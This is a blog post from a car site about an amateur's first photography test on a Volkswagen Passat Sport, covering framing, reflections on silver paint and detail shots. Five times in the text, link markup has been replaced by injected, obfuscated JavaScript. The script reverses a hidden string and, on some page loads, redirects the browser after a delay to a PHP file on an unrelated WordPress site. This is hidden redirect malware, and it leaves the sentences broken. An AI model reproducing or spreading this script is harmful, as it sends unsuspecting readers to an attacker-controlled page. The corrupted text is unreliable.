Photography 101 Rd1. Volkswagen Passat Sport

Arun starts off with his own shots, and I start wandering around the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/volkswagen/” target=”_blank”>VW to take in the ‘sporty’ characteristics. The ‘Sport’, as it turns out, is a misnomer. As the top of the range trim level, the Passat Sport offers new 18-inch Bristol alloy wheels, part leather seats, a touchscreen navigation system and a memory function for the driver seat. There’s an ‘S’ option for the six-speed tiptronic transmission, but you’ll find that the 170hp 2.5-litre five cyclinder unit under the bonnet is untouched: those of you looking to hit the dragstrip may want to consider another Sporty VW. There are some neat touches though: the sharp lines down the flanks; the larger wheels; the almost aggressively designed headlights. The Passat does at least have some character for me to showcase.

As it turns out, finding a spot where I won’t be reflected in the metallic silver paintwork is much harder than I thought. The neutral nature of the paint means that bodylines and curves tend to blend into the vehicle, making it yet more difficult to highlight (it’s why our photography team try to avoid shooting white and silver cars where they can). There’s a lot to take in, and soon it’s my turn.

Still in novice mode, and not wanting to make a complete fool of myself this early in the competition, I decide to let the camera do most of the work for me, and keep all settings in automatic (my attempts to master aperture and focus will come later). As well as providing shots of the back, the front and the sides, it’s important to frame the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/passat/” target=”_blank”>Passat correctly: too far away and I risk losing the more subtle details of the saloon; too close and I risk losing the backdrop entirely. It proves a tremendously complicated balancing act, one not aided by the heat. Detail shots – such as the Passat and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=volkswagen” target=”_blank”>VW badges, and interior trim and instrument panels – are even harder, since not only must I be as artistic as I can to make a picture of a clock interesting, I have to make sure the detail shot itself is relevant: shooting an air vent is all well and good, but when accompanying a crankandpiston review it bears little relevance.

Our first test lasts just over an hour, and it’s surprisingly knackering work: framing the Sport; working the shadows; highlighting the details. Finding a balance is hard and the end results speak for themselves. Whilst Arun’s set (on page one) are shot from a lower angle to give the car a greater presence, mine (on page two) keep the car in the background, the focus instead on the backdrop or elements of the parking lot’s masonry that ‘looks cool’. It shows the right spirit if I do say so myself, but simultaneously leaves the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/vw/” target=”_blank”>Volkswagen Subject a little washed out.

The team agrees (give or take some light mocking) that my first attempt is a solid one, and there’s no doubt I’ve taken a good deal of experience from this shoot. Which is just as well, since the next test will be Landscape. And that’s going to be tricky.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/photos-section/volkswagen-passat-sport/” target=”_blank”>- If you want to check out a full crankandpiston photoshoot of the Volkswagen Passat Sport, just click HERE.